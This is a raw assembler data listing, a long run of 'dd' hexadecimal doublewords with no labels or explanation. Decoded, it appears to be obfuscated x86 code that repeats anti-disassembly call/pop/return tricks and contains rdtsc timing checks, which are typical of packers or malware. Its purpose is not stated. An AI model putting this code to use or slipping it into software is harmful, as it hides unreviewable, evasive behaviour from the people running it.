		dd 8B66062Ah, 0BD83FEh,	62DCDh,	31840Fh, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 4D66D2C3h, 0DC37D7B6h, 8B66F97Eh, 84E9FBh, 14BF0000h
		dd 0C73AD5CAh, 2DCD0085h, 106h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0DBF164AFh
		dd 2009E5E9h, 0F28B58A1h, 49E9h, 97F68100h, 293487DAh
		dd 2A1B2DBDh, 85C706h, 62DCDh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 2089C355h
		dd 0BE668E21h, 0BE9EF10h, 0AD000000h, 2A4BA5DBh, 6CA8614Bh
		dd 9D8D42C5h, 62A2C8Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0A5C35545h, 3CFF8C3Dh, 81BEC560h, 0FFFEFF23h
		dd 70BE66FFh, 0DB8C66E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 57C35242h, 0BE851FCh,	9000000h, 9EBE2763h
		dd 8C212EABh, 0BD331703h, 62A1395h, 81665E5Fh, 0F60167E6h
		dd 840F04C3h, 96h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0EDC35646h, 0D5D89E2Dh, 186D95FFh, 6A062Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0BB18FC3h, 33218509h, 0E890062Ah, 0Dh, 5BE710B5h, 1694106h
		dd 2908D241h, 0AE832h, 52890000h, 0FB828D52h, 0FEFBF5Dh
		dd 5F5E6160h, 6A9050h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0A2DD8DC3h, 0FBB70F1Fh, 7BE9FA8Bh
		dd 29000003h, 2A33B99Dh, 6A00B006h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0BF16C351h
		dd 12BED2Eh, 876F5EB3h,	1F498589h, 70E6062Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0B8C35040h, 0F3D8A00h
		dd 282h, 0E45F5700h, 0D8B60F71h, 0DA5C73BEh, 6BA52h, 0BF660000h
		dd 0C38BFA5Eh, 0E8C1F78Bh, 5DBF6604h, 6BD781ADh, 666D6027h
		dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 9B6B68C3h, 0A70DA023h, 0FCD3F69h,	2BF8FBBFh
		dd 10E9D8h, 54660000h, 340F9830h, 75867927h, 5D4AF1C5h
		dd 0D7818C38h, 4950755Ah, 0BF666093h, 810FB7F1h, 6, 310F5250h
		dd 5061585Ah, 0C8E51EBEh, 0B5899318h, 62A0D79h,	24FDB5FFh
		dd 0B70F062Ah, 3995FFF2h, 6A062A34h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 540C351h
		dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 86C1DAC3h, 0FE43D0Dh, 0F98BF1BFh,	6A70E6h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 471AB9C3h, 0FA8B6643h, 6A71E4h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0B58B5AC3h, 62A1F65h
		dd 5D18D89h, 613C062Ah,	1E8830Fh, 0CE810000h, 337859F3h
		dd 0E9D8B60Fh, 11h, 29368411h, 0F534D500h, 4A9752ECh, 16907503h
		dd 6BA32h, 8BF50000h, 50006AC3h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0EC230749h, 17AAA640h
		dd 304E8C1h, 2A12F9B5h,	0E2F76606h, 8960D82Bh, 2A194985h
		dd 3880F06h, 0F000000h,	5861F8B7h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0A5C35040h,	9E9h, 0D3C39A00h
		dd 0FDEE29ACh, 0D82B2A32h, 14C880Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0C53D34C3h
		dd 0DEF781C9h, 0B9430DDDh, 7, 15619D31h, 0C183062Ah, 13E800h
		dd 33990000h, 3EABCE80h, 2EE1B7EBh, 0B27E383Fh,	9BE7D0DBh
		dd 0F7B70FEFh, 5270BF5Eh, 0D93B2F00h, 0F0860Fh,	6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0FA62DEC3h, 0F2B766ACh, 8C661F22h, 0A3D681D9h, 0F612FAB6h
		dd 840F04C1h, 99h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 89C35040h, 0B52931F9h, 62A3251h, 186D95FFh
		dd 6A062Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0A8DBAAC3h, 7AA0BA16h, 0CE989B3h,	0A2000000h
		dd 0D15B7821h, 0B767D38Ch, 890B963Dh, 2A33AD9Dh, 5BF28B06h
		dd 0A890Fh, 89600000h, 2A00A98Dh, 6121B306h, 8B66C32Bh
		dd 8343DF7h, 860F0000h,	11h, 3029BD8Bh,	27E9062Ah, 81000000h
		dd 0F4A406DEh, 6AC08B28h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0B977C353h,	0C38BC2CEh
		dd 0B58BD88Bh, 62A3419h, 226185C7h, 551062Ah, 6A3256h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D60104C3h, 3BBBA7AFh, 6AC08Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 69375C3h, 0E0D5E449h
		dd 24FDBD81h, 7D0062Ah,	850F0000h, 4Ah,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 3CC35040h, 7AD82DAFh
		dd 0EE9F08Bh, 0D0000000h, 0D4994965h, 69B3DA1Fh, 36156413h
		dd 0FD85FF58h, 0F062A24h, 68Ch,	75BD8B00h
		dd 66062A14h, 0B5FFF38Bh, 62A24FDh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0C8C35545h,	0E328D0D6h, 64FAEA6Ah
		dd 3995FF92h, 90062A34h, 345678B8h, 55006A12h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 2E32B993h
		dd 3AD6818Ah, 8D0B067Ch, 2DD53C9Dh, 0F90FE906h,	6AFFFFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0C18BD3C3h, 1189BD8Bh, 4EB062Ah, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 76C35242h
		dd 38BF6664h, 11858D80h, 6A062A19h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 6549C357h
		dd 503811F8h, 8B66CE0Bh, 525090F2h, 50EC8A60h, 310F6158h
		dd 585AFE8Bh, 0BB506050h, 745D1F7Fh, 67BF665Eh,	8B906115h
		dd 2A2AE1B5h, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 90F7C353h, 0E7B292F8h
		dd 7971BF66h, 6AF7BF0Fh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 8D0F067Fh, 0
		dd 0D700858Dh, 0BD8B062Dh, 62A2D29h, 0E905C083h, 10h, 4BB20E8Fh
		dd 32F77749h, 0E3498F2Ch, 0C00DDB15h, 7E850h, 55280000h
		dd 0B7AEE87Bh, 4895FAAh, 9DBD8B24h, 6A062A29h, 0C7816600h
		dd 6A03FDh, 216DB58Bh, 95FF062Ah, 62A1275h, 0B9669D8Dh
		dd 6A062Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 101576C3h, 2D5FE87h, 6AD3FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 97C9E8C3h
		dd 0E455832Bh, 85FF8C11h, 62A14C1h, 0D2CE9h, 0E800h, 815D0000h
		dd 2DD70AEDh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 13F18C4Fh, 8BD4F58Ch, 0FDBD81FBh
		dd 0D0062A24h, 0F000007h, 11686h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 9061E3B5h
		dd 4890Fh, 0BE660000h, 840F45ECh, 6, 15458589h,	9D8B062Ah
		dd 62A05CDh, 0E381F5h, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 462C352h
		dd 8929CA1Fh, 2A236195h, 0FDB0B06h, 4185h, 0FE900h, 191E0000h
		dd 3041EF11h, 0D7FE796Fh, 0B343212Fh, 98BD8360h, 62DD5h
		dd 0A840Fh, 5E500000h, 4EE9h, 0F08B6600h, 0D59885C7h, 1062Dh
		dd 0E9FC0000h, 3Bh, 1BD9BD89h, 85C7062Ah, 62DD598h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0EC35747h
		dd 0FD44EA0h, 683h, 0A99D8900h,	8D062A22h, 2A05CD9Dh, 188F0F06h
		dd 0E9000000h, 13h, 516FD868h, 5211528Eh, 0FA5178Ah, 0AAABFA7Bh
		dd 81BA24FAh, 0FFFEFF23h, 95B503FFh, 66062A1Ah,	6ADB8Ch
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 5163F3C3h, 0BD89F91Ah, 62A34F9h, 1BFB060h, 2A277195h
		dd 0C3F66106h, 2D840F04h, 0FF000000h, 2A186D95h, 0DE906h
		dd 86870000h, 790B91FBh, 7754BB62h, 5067EC98h, 4B71CCBEh
		dd 24048908h, 68D0Fh, 0BD8B0000h, 62A2AA1h, 485E9h, 0DE800h
		dd 0F0830000h, 0EED8B1AAh, 0EAE3A87Eh, 81A3CA39h, 2A03F8E7h
		dd 0B05E2Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	6AC35545h, 80375BE6h, 195ED522h, 0E870E6D1h, 12h
		dd 9B7F9880h, 0D43AE8C7h, 0D8FAB6A6h, 40ED3571h, 81607951h
		dd 0EA8D34DEh, 61C4B44Ch, 6A71E45Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0DF65C352h
		dd 0D83D59ABh, 60A469AAh, 32198D29h, 9D33062Ah,	62A3511h
		dd 0D8B60F61h, 17850FFCh, 57000000h, 10E9h, 2A0A7400h
		dd 61CE16D4h, 0AF997295h, 649459A0h, 6BA5F84h, 66000000h
		dd 8BD84BBEh, 0E9B503C3h, 0C1062A0Ch, 0BF6604E8h, 0F7669468h
		dd 57006AE2h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0EC34C62Eh, 6AD82B83h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 5297C353h
		dd 606093C0h, 9E9C88Ah,	0FF000000h, 2B6BD8A4h, 58B79C17h
		dd 0BE861h, 1F470000h, 86D9E017h, 0F1F1DAD5h, 5E6160DEh
		dd 52505061h, 39C583BFh, 0E9310F53h, 0Ch, 7D551222h, 27265515h
		dd 36162C4Bh, 6A93585Ah, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0FC80C356h,	3CB1C6A5h
		dd 0BEFA8B66h, 2A381390h, 24FDB5FFh, 0BD2B062Ah, 62A1729h
		dd 343995FFh, 8B66062Ah, 6000B0F9h, 6EC88166h, 61FA8BE6h
		dd 6A70E6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0B4E1BDC3h, 816671E4h, 3C1A75F6h,	0B3830F61h
		dd 6A000002h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0D8AAC350h, 0B60FCB41h, 6BAD8h
		dd 0BE510000h, 60094691h, 0FC38B5Fh, 0E8C1F0B7h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 662B6887h, 894125BFh, 2A17A99Dh, 0E2F76606h,	2311F781h
		dd 0BD01192Ch, 62A1F99h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0B72DDCC3h, 998D89F5h
		dd 58062A23h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	0F6C35141h, 0DC4BF756h,	89C71332h, 2A1A1995h, 0FD82B06h
		dd 1ED88h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 850F48h, 0B9000000h, 7, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D5C35141h, 0B70FF38Bh
		dd 0C183FFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	86C35646h, 7E9h, 57FFAD00h, 0A8D81B68h,	68E0Fh
		dd 0F7810000h, 7E49CD8Eh, 860FD93Bh, 166h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 16C35141h, 31677D9Fh
		dd 0A840FA2h, 0E9000000h, 5, 0BEC4B06Eh, 1DB5031Dh, 66062A11h
		dd 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 522412C3h, 4C1F6BFh, 0D3840Fh, 0DE90000h
		dd 57000000h, 5E7ACDCBh, 983D9990h, 0A4E51292h,	186D95FFh
		dd 0BD89062Ah, 62A24C9h, 50006A5Bh, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0EAD44EA0h, 0F2BF0FA4h
		dd 9E9h, 5795B400h, 0C74E25FEh,	0C32B7FA5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1CC35141h, 8343Dh
		dd 5A860F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 68D3C357h, 9E9C687h
		dd 86000000h, 6C83B40Ah, 8BC2ACD6h, 6870F57h, 33000000h
		dd 2A22EDB5h, 4BE95F06h, 60000000h, 0AE8h, 0EB100900h
		dd 84C5C671h, 0B384539Ah, 9D8B5F9Bh, 62A07E1h, 6AC08B61h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 3919C352h, 0CC80415Fh, 89F1B7FBh,	2A23B9B5h
		dd 13C5BF06h, 0C38B1988h, 8B66D88Bh, 8D85C7F1h,	1D062A2Ch
		dd 8B154D81h, 79B58BC0h, 81062A1Bh, 2A24FDBDh, 7D006h
		dd 20850F00h, 89000000h, 2A1AA5BDh, 0FD85FF06h,	0E9062A24h
		dd 7, 56F36A82h, 60491C4Ah, 37D8501h, 0FF61062Ah, 2A24FDB5h
		dd 24BE6606h, 3995FF29h, 8B062A34h, 2A28A5BDh, 6A409006h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 3194C352h, 2A2C6D95h, 0B5BD8306h,	62A18h
		dd 86840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F0A2DC3h, 0BD83FAB7h, 62A1BD1h
		dd 59840F00h, 31000000h, 2A0A258Dh, 0B595FF06h,	66062A18h
		dd 0B8514BEh, 41840FC0h, 8B000000h, 978D8DF9h, 0E9062A4Eh
		dd 12h,	0BE788E17h, 9F102E9h, 708398B4h, 0DE9D8078h, 9D89C9E7h
		dd 62A032Dh, 5B8h, 8C0F6000h, 6, 880Fh,	61F80000h, 8D31E1FFh
		dd 62A175Dh, 13C5BD83h,	0F00062Ah, 5B384h, 0EE900h, 0EE5A0000h
		dd 516FD868h, 5211528Eh, 0FA5178Ah, 1BD1BD83h, 0F00062Ah
		dd 59384h, 0A9BD8B00h, 8D062A2Ah, 2A18D18Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0C8302468h, 0E699DB41h, 0A1BD89C8h, 0C7062A2Ah, 0B27C8401h
		dd 57006A44h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4CC9FFFFh, 0A36CDE00h, 1818631h,	1499CFCBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F3C35141h
		dd 6959DC1h, 117E096Bh,	11E906h, 0B1360000h, 53A5338Ch
		dd 212DEE99h, 0AF9E9AD1h, 0BE25F5DFh, 1364F69Dh, 340441C7h
		dd 6ACE706Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 8C17C356h, 0BD8B8AD9h,	62A2B79h
		dd 10044181h, 6A31D6D7h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 858D2E2Ch, 62A18D1h, 2D45BD8Bh
		dd 8950062Ah, 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 600E2DC3h, 8B3642A7h, 2A19B1B5h
		dd 0C595FF06h, 6A062A13h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 8BB0C357h, 2A2859BDh
		dd 0D18D8D06h, 31062A18h, 2A0B3985h, 1C706h, 31000000h
		dd 2A0CD59Dh
		dd 0FE906h, 0E4160000h,	97D0ABD8h, 7D07B3F8h, 44E773DFh
		dd 441C7A5h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0A2C35141h
		dd 0FC00B73h, 6F84h, 5EFC5100h,	4E978D8Dh, 0B589062Ah
		dd 62A32C5h, 5B8h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 8E52ADA7h, 3363B50Dh
		dd 175120BEh, 71858974h, 0FF062A18h, 56006AE1h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 46FE06AEh
		dd 6870Fh, 9D290000h, 62A035Dh,	18D18D8Dh, 830F062Ah, 6
		dd 559B533h, 1C7062Ah, 44AA727Ch, 0E5BD03F5h, 81062A1Eh
		dd 99CFCB01h, 56006A14h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 0AF9D83B3h, 8BDBF164h, 0A8D681F9h
		dd 0C74EBFA9h, 753C0441h, 8D89CE78h, 62A0509h, 81F3B70Fh
		dd 0D7100441h, 0BD8B31D6h, 62A0F9Dh, 8B66006Ah,	0D1858DF8h
		dd 0E8062A18h, 9, 0DD1330D5h, 5E4E4AD8h, 29B58B1Ch, 5E062A11h
		dd 50F88B90h, 61605357h, 0E9905E5Fh, 14h, 0DBDDBCF1h, 8C81F875h
		dd 5C492EE3h, 40982B1Eh, 0A524BB12h, 18359589h,	95FF062Ah
		dd 62A13C5h, 6840Fh, 0BD890000h, 62A2CC1h, 18D18D8Dh, 6A062Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 25ECD6C3h, 1C74804h,	0
		dd 6850Fh, 0EE810000h, 0C66BD9Fh, 441C7h, 23000000h, 2A1015B5h
		dd 0FC00B06h, 6784h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 42D75BC6h, 8DF78BFCh
		dd 2A4E978Dh, 0B8FA8B06h, 5, 1860Fh, 0FFF90000h, 56006AE1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1404h, 0C3564600h
		dd 0D8B0F7Eh, 0E9000000h, 8, 7E9A314Fh,	4FECA0BCh, 18D18D8Dh
		dd 6A062Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 148F41C3h, 5D27D830h, 81660433h, 0C71D78F6h
		dd 0CA95A501h, 57006A54h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 8E71C3C0h, 0EE81CBB2h
		dd 38552EDEh, 5D63DF81h, 181662Dh, 1499CFCBh, 690441C7h
		dd 0F5CE5F59h, 10044181h, 6A31D6D7h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 1263C353h
		dd 0DEA3234Ch, 0E9DD2A6Dh, 13h,	0AA019016h, 912FC7E8h
		dd 32649A57h, 40581C2Bh, 8B8F71D2h, 2A0E69BDh, 81006A06h
		dd 0F993DAE6h, 0D1858D3Fh, 6A062A18h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 43A5C352h
		dd 4F6DF597h, 6DBE944Bh, 6B9B589h, 9D29062Ah, 62A2691h
		dd 50FB8B90h, 11EE8190h, 0FF33A83Eh, 2A13C595h,	0EF816606h
		dd 8D8D3B5Fh, 62A18D1h,	119DB58Bh, 0F28B062Ah, 1C7h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 66EB9BC3h, 41C7FA8Bh, 4, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 7A0DC539h
		dd 3C8B8F9Eh, 0BE9h, 0A692800h,	0D04C790Dh, 0AAB3AD0Eh
		dd 840FC00Bh, 74h, 0F6816657h, 8D5EF83Ah, 2A4E978Dh, 0C850F06h
		dd 0E9000000h, 7, 9646F189h, 0B88995AEh, 5, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F0C35242h, 0D5E8A88Dh
		dd 12919D89h, 9E9062Ah,	0D4000000h, 73E53BD8h, 33965505h
		dd 0FB19589h, 0E1FF062Ah, 0EA5BD8Bh, 8B60062Ah,	2A00219Dh
		dd 69B53106h, 61062A2Bh, 0DAE9CA03h, 29FFFFF2h,	2A2765B5h
		dd 89C18B06h, 2A2CBDBDh, 4EB06h, 8B000000h, 0F0BF0FF2h
		dd 1911858Dh, 6A062Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0E7A0BDC3h, 697D81ABh, 0F2B70F75h
		dd 89F78B50h, 0B58B2404h, 62A0521h, 6A006Ah, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 92FA30C3h
		dd 0B533CA8Ch, 62A0F41h, 13C1B501h, 6A062Ah, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FFC35545h, 0A29EBFD7h
		dd 858D00B6h, 62DE65Ah,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0D0C35343h, 8DBC41C3h, 66A859BCh, 0C083F88Bh
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 4F53CE2h, 57AC8118h, 0BD2BCA8Fh,	62A2161h
		dd 0E8525090h, 12h, 2F9B27B6h, 27693FE5h, 3DF44354h, 8CC93F05h
		dd 8B66262Bh, 310F5EFBh, 8AD18B60h, 585A61F4h, 0D869BE50h
		dd 6A907EB5h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 21EEC353h, 0CE262ACCh,	0D3FAD371h
		dd 33BD9529h, 8151062Ah, 29187CEFh, 6A5E60h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0FFC35040h, 0BEC7BE66h
		dd 7E9006Ah, 55000000h,	1915695Dh, 95FFDE1Eh, 62A1275h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BAC35646h
		dd 669D8D3Bh, 0F062DB9h, 68Fh, 8CCF8100h, 0FF7FB077h, 55006AD3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0E1BCF584h, 6624DC85h, 0D637F781h, 14C185FFh, 6A062Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0BD4A51C3h, 953F815Dh, 8E820h, 31770000h, 0CED9D8D2h
		dd 95296322h, 62A0CF1h,	64F2BF5Eh, 8CE905ACh, 0E8000008h
		dd 0
		dd 64ED815Dh, 6A062DE6h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 9CB2C357h, 3870Fh
		dd 8B660000h, 0FDBD81F1h, 0D0062A24h, 0F000007h, 16C86h
		dd 0C9B58B00h, 8B062A34h, 2A11F19Dh, 0A0BE6606h, 0E3818Bh
		dd 89000001h, 2A2BC595h, 0FDB0B06h, 0BD85h, 8E900h, 0AFF80000h
		dd 63DB4349h, 0BD837BF9h, 62DE43Bh, 48840F00h, 60000000h
		dd 338D9D8Bh, 61F9062Ah, 0DE9h,	0B177B300h, 0CE62AA03h
		dd 9174EF5h, 0B6E9EB62h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 89ECC353h
		dd 2A17499Dh, 5DBD0906h, 0C7062A07h, 2DE43B85h,	106h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 6C06BC24h, 19CA6F6Bh, 399D89E5h, 0E9062A06h,	55h, 10E8h
		dd 4CE08400h, 7578EB89h, 8B4D4D87h, 0F7F6C7Ah, 5DB52935h
		dd 5E062A06h, 22C5BD89h, 85C7062Ah, 62DE43Bh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 45C35040h
		dd 0B5896033h, 62A2489h, 3021B966h, 0F19D8D61h,	6A062A11h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0F48BC356h, 81661AC5h, 81C893CEh,	0FFFEFF23h
		dd 9E8FFh, 0C00F0000h, 102FA0F5h, 0FD85BD1h, 1384h, 0EE900h
		dd 34AD0000h, 7D47248Dh, 9FED1A9Fh, 43209B4Ah, 0DB8C665Eh
		dd 1432BF66h, 0F04C3F6h, 5E84h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 6D652C10h
		dd 0FF89FFBFh, 2A186D95h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0CE81669Eh
		dd 81665747h, 904B31E7h, 0E8C4BF66h, 0FB8B6650h, 49B58B90h
		dd 0E9062A22h, 3DEh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 29C35646h, 0F98F5CE8h, 810F8F0Fh, 6
		dd 16A1BD8Bh, 0B0062Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 2FC35646h, 6507EBEEh,	0B70FC396h, 29BD8BF9h
		dd 0E6062A07h, 53006A70h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 6316F3AAh, 6A71E48Ah
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0F44C356h, 6AD8B6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 5F68FBC3h, 31CFE6E6h
		dd 2A2239BDh, 6BA06h, 0B5890000h, 62A2D91h, 6AC38Bh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 5249EEC3h, 29598529h, 0C15E062Ah, 0B70F04E8h, 0E2F766FBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 18C35343h
		dd 9A036174h, 0E78166F8h, 0D82B3292h, 6E8h, 53F76E00h
		dd 894DB613h, 2A348585h, 0E9505F06h, 5,	0A78BA7Eh, 241C8976h
		dd 9DD78166h, 0FDB5FF49h, 6A062A24h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 6684C352h
		dd 0BED3F781h, 139DBD03h, 95FF062Ah, 62A3439h, 219D9D89h
		dd 0B0062Ah, 0EE852h, 0D1480000h, 9423EF63h, 1317C8B6h
		dd 80BFA89Ah, 0E65E5EF8h, 71E4F570h, 0F5C8BE66h, 830F613Ch
		dd 22Eh, 1B8DBD8Bh, 0B60F062Ah,	52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0A6509D0Ah
		dd 0BD29E23Ah, 62A2345h, 6BAh, 1FBE6600h, 23C38BFEh, 2A1039B5h
		dd 4E8C106h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	7AC35242h, 50EF8166h, 0E2F766ECh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 16h, 0A2C35747h, 0D82BCF36h
		dd 60F98B66h, 5861F5F8h, 0F0D8D89h, 0D82B062Ah,	190880Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 3EA7BCC3h, 0C2E340CFh, 0B9F18BE8h, 7, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 51C35040h, 7DBAC554h
